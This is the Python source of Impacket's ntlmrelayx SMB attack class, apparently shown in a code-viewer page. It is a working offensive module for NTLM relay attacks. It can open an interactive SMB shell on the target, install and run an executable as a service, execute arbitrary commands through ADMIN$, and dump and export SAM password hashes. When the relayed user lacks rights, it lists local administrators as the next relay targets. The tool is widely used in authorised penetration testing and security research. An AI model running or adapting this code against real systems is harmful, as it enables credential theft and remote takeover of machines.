Hide keyboard shortcuts

Hot-keys on this page

r m x p   toggle line displays

j k   next/prev highlighted chunk

0   (zero) top of page

1   (one) first highlighted chunk

1# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 

2# 

3# This software is provided under under a slightly modified version 

4# of the Apache Software License. See the accompanying LICENSE file 

5# for more information. 

6# 

7# SMB Attack Class 

8# 

9# Authors: 

10# Alberto Solino (@agsolino) 

11# Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 

12# 

13# Description: 

14# Defines a base class for all attacks + loads all available modules 

15# 

16# ToDo: 

17# 

18from impacket import LOG 

19from impacket.examples.ntlmrelayx.attacks import ProtocolAttack 

20from impacket.examples.ntlmrelayx.utils.tcpshell import TcpShell 

21from impacket import smb3, smb 

22from impacket.examples import serviceinstall 

23from impacket.smbconnection import SMBConnection 

24from impacket.examples.smbclient import MiniImpacketShell 

25from impacket.dcerpc.v5.rpcrt import DCERPCException 

26 

27PROTOCOL_ATTACK_CLASS = "SMBAttack" 

28 

29class SMBAttack(ProtocolAttack): 

30 """ 

31 This is the SMB default attack class. 

32 It will either dump the hashes from the remote target, or open an interactive 

33 shell if the -i option is specified. 

34 """ 

35 PLUGIN_NAMES = ["SMB"] 

36 def __init__(self, config, SMBClient, username): 

37 ProtocolAttack.__init__(self, config, SMBClient, username) 

38 if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3): 

39 self.__SMBConnection = SMBConnection(existingConnection=SMBClient) 

40 else: 

41 self.__SMBConnection = SMBClient 

42 self.__answerTMP = bytearray() 

43 if self.config.interactive: 

44 #Launch locally listening interactive shell 

45 self.tcpshell = TcpShell() 

46 else: 

47 self.tcpshell = None 

48 if self.config.exeFile is not None: 

49 self.installService = serviceinstall.ServiceInstall(SMBClient, self.config.exeFile) 

50 

51 def __answer(self, data): 

52 self.__answerTMP += data 

53 

54 def run(self): 

55 # Here PUT YOUR CODE! 

56 if self.tcpshell is not None: 

57 LOG.info('Started interactive SMB client shell via TCP on 127.0.0.1:%d' % self.tcpshell.port) 

58 #Start listening and launch interactive shell 

59 self.tcpshell.listen() 

60 self.shell = MiniImpacketShell(self.__SMBConnection, self.tcpshell) 

61 self.shell.cmdloop() 

62 return 

63 if self.config.exeFile is not None: 

64 result = self.installService.install() 

65 if result is True: 

66 LOG.info("Service Installed.. CONNECT!") 

67 self.installService.uninstall() 

68 else: 

69 from impacket.examples.secretsdump import RemoteOperations, SAMHashes 

70 from impacket.examples.ntlmrelayx.utils.enum import EnumLocalAdmins 

71 samHashes = None 

72 try: 

73 # We have to add some flags just in case the original client did not 

74 # Why? needed for avoiding INVALID_PARAMETER 

75 if self.__SMBConnection.getDialect() == smb.SMB_DIALECT: 

76 flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags() 

77 flags2 |= smb.SMB.FLAGS2_LONG_NAMES 

78 self.__SMBConnection.getSMBServer().set_flags(flags2=flags2) 

79 

80 remoteOps = RemoteOperations(self.__SMBConnection, False) 

81 remoteOps.enableRegistry() 

82 except Exception as e: 

83 if "rpc_s_access_denied" in str(e): # user doesn't have correct privileges 

84 if self.config.enumLocalAdmins: 

85 LOG.info("Relayed user doesn't have admin on {}. Attempting to enumerate users who do...".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding))) 

86 enumLocalAdmins = EnumLocalAdmins(self.__SMBConnection) 

87 try: 

88 localAdminSids, localAdminNames = enumLocalAdmins.getLocalAdmins() 

89 LOG.info("Host {} has the following local admins (hint: try relaying one of them here...)".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding))) 

90 for name in localAdminNames: 

91 LOG.info("Host {} local admin member: {} ".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding), name)) 

92 except DCERPCException: 

93 LOG.info("SAMR access denied") 

94 return 

95 # Something else went wrong. aborting 

96 LOG.error(str(e)) 

97 return 

98 

99 try: 

100 if self.config.command is not None: 

101 remoteOps._RemoteOperations__executeRemote(self.config.command) 

102 LOG.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost()) 

103 self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer) 

104 self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output') 

105 print(self.__answerTMP.decode(self.config.encoding, 'replace')) 

106 else: 

107 bootKey = remoteOps.getBootKey() 

108 remoteOps._RemoteOperations__serviceDeleted = True 

109 samFileName = remoteOps.saveSAM() 

110 samHashes = SAMHashes(samFileName, bootKey, isRemote = True) 

111 samHashes.dump() 

112 samHashes.export(self.__SMBConnection.getRemoteHost()+'_samhashes') 

113 LOG.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost()) 

114 except Exception as e: 

115 LOG.error(str(e)) 

116 finally: 

117 if samHashes is not None: 

118 samHashes.finish() 

119 if remoteOps is not None: 

120 remoteOps.finish()